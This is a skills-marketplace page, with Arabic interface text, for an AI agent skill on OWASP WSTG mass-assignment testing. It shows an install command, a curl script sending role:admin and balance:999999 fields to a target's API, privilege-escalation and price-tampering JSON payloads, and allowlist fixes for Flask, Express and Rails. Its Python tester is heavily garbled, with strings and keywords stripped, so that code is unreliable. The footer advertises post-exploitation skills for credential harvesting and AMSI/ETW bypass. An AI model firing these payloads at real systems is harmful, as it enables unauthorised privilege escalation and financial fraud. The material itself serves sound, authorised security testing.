القائمة
يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.
اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
يتجاوز الأمر المباشر Prompt المخصّص للمراجعة. افحص المصدر قبل تشغيله.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-20يبقى الأمر في سطر واحد. مرّر أفقيًا لمراجعته كاملًا قبل النسخ.
تفضّل نسخة محلية؟ نزّل الملفات المتاحة حاليًا لدى SkillsMP.
عرض SKILL.md
| name | wstg-inpv-20 |
| description | Testing for Mass Assignment |
| category | input-validation |
| owasp_id | WSTG-INPV-20 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-20
Testing for Mass Assignment
Mass Assignment (also known as Auto-binding or Object Injection) occurs when an application automatically binds user-provided data to internal objects. Attackers can modify object properties they shouldn't have access to, such as changing user roles, prices, or account status by adding extra parameters to requests.
#!/bin/bash
TARGET="https://target.com"
echo "[*] Testing for Mass Assignment..."
# Test user registration with extra parameters
curl -s -X POST "$TARGET/api/register" \
-H "Content-Type: application/json" \
-d '{
"username": "testuser",
"email": "test@test.com",
"password": "TestPass123!",
"role": "admin",
"isAdmin": true,
"is_admin": true
}'
# Test profile update with extra parameters
curl -s -X PUT "$TARGET/api/user/profile" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer TOKEN" \
-d '{
"name": "Test User",
"role": "admin",
"verified": true,
"balance": 999999
}'
#!/usr/bin/env python3
"""
Mass Assignment Vulnerability Tester
"""
import requests
json
copy
:
():
.url = url
.findings = []
.session = requests.Session()
DANGEROUS_PARAMS = {
: [
(, [, , , ]),
(, [, , , ]),
(, [, , , ]),
(, [, , , ]),
(, [, , ]),
(, [, , ]),
(, [, ]),
(, [[], []]),
],
: [
(, [, ]),
(, [, ]),
(, [, ]),
(, [, ]),
(, [, ]),
(, [, ]),
(, [, ]),
],
: [
(, [, ]),
(, []),
(, []),
(, [, , ]),
(, [, ]),
(, [, ]),
(, [, ]),
],
: [
(, [, ]),
(, [, ]),
(, []),
(, []),
(, []),
],
: [
(, []),
(, []),
(, [, ]),
(, []),
(, []),
],
}
():
()
base_data :
base_data = {
: ,
: ,
:
}
register_url =
category, params .DANGEROUS_PARAMS.items():
param_name, test_values params:
value test_values:
test_data = copy.deepcopy(base_data)
test_data[param_name] = value
:
response = .session.post(
register_url,
json=test_data
)
response.status_code [, ]:
resp_data = response.json() response.text {}
param_name (resp_data):
()
.findings.append({
: ,
: ,
: param_name,
: value,
: category,
: category ==
})
Exception e:
():
()
base_data :
base_data = {: }
headers = {}
auth_token:
headers[] =
update_url =
category, params .DANGEROUS_PARAMS.items():
param_name, test_values params:
value test_values:
test_data = copy.deepcopy(base_data)
test_data[param_name] = value
:
response = .session.put(
update_url,
json=test_data,
headers=headers
)
response.status_code == :
resp_data = response.json() response.text {}
param_name (resp_data):
()
.findings.append({
: ,
: ,
: param_name,
: value,
: category,
: category ==
})
Exception e:
():
()
order_data = {
: [{: , : }],
:
}
headers = {}
auth_token:
headers[] =
order_url =
financial_params = [
(, ),
(, ),
(, ),
(, ),
(, ),
(, ),
]
param_name, value financial_params:
test_data = copy.deepcopy(order_data)
test_data[param_name] = value
:
response = .session.post(
order_url,
json=test_data,
headers=headers
)
response.status_code [, ]:
resp_data = response.json() response.text {}
(value) (resp_data.get(param_name, )):
()
.findings.append({
: ,
: ,
: param_name,
: value,
:
})
Exception e:
():
()
endpoints :
endpoints = [
(, ),
(, ),
(, ),
(, ),
(, ),
]
headers = {: }
auth_token:
headers[] =
test_params = [, , , , , ]
method, endpoint endpoints:
url =
param test_params:
test_data = {param: }
:
method == :
response = .session.post(url, json=test_data, headers=headers)
:
response = .session.put(url, json=test_data, headers=headers)
response.status_code [, ]:
()
Exception e:
():
( + *)
()
(*)
.findings:
()
()
:
critical = [f f .findings f[] == ]
high = [f f .findings f[] == ]
medium = [f f .findings f[] == ]
critical:
()
f critical:
()
high:
()
f high:
()
medium:
()
f medium:
()
():
.test_registration()
.test_profile_update(auth_token)
.test_order_manipulation(auth_token)
.test_api_endpoints(auth_token=auth_token)
.generate_report()
tester = MassAssignmentTester()
tester.run_tests(auth_token=)
// Privilege Escalation
{
"role": "admin",
"isAdmin": true,
"is_admin": true,
"admin": true,
"user_type": "admin",
"permissions": ["all"],
"group": "administrators"
}
// Account Status
{
"verified": true,
"email_verified": true,
"active": true,
"approved": true,
"confirmed": true
}
// Financial
{
"balance": 999999,
"credits": 999999,
"price": 0,
"discount": 100,
"total": 0
}
// Access Control
{
"owner_id": 1,
"user_id": 1,
"tenant_id": 1,
"organization_id": 1
}
| Tool | Purpose |
|---|---|
| Burp Suite Param Miner | Parameter discovery |
| Arjun | Hidden parameter finder |
| Custom scripts | Targeted testing |
# Python/Flask - Explicit field allowlist
from flask import request
from marshmallow import Schema, fields
class UserUpdateSchema(Schema):
# Only these fields can be updated
name = fields.Str()
email = fields.Email()
# role, isAdmin, etc. are NOT included
@app.route('/profile', methods=['PUT'])
def update_profile():
schema = UserUpdateSchema()
data = schema.load(request.json) # Only allowed fields
user.update(**data)
// Node.js/Express - Allowlist pattern
const allowedFields = ["name", "email", "bio"]
app.put("/profile", (req, res) => {
const updates = {}
for (const field of allowedFields) {
if (req.body[field] !== undefined) {
updates[field] = req.body[field]
}
}
// Only safe fields are used
User.update(userId, updates)
})
# Rails - Strong Parameters
def user_params
params.require(:user).permit(:name, :email)
# role, admin, etc. are NOT permitted
end
| Finding | CVSS | Severity |
|---|---|---|
| Admin role assignment | 9.8 | Critical |
| Price manipulation | 8.6 | High |
| Account status bypass | 7.5 | High |
| Timestamp manipulation | 4.3 | Medium |
| CWE ID | Title |
|---|---|
| CWE-915 | Improperly Controlled Modification of Dynamically-Determined Object Attributes |
[ ] Registration endpoint tested
[ ] Profile update tested
[ ] Order/payment endpoints tested
[ ] Hidden parameters discovered
[ ] Privilege escalation tested
[ ] Financial manipulation tested
[ ] Findings documented
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
استنادا إلى تصنيف SOC المهني
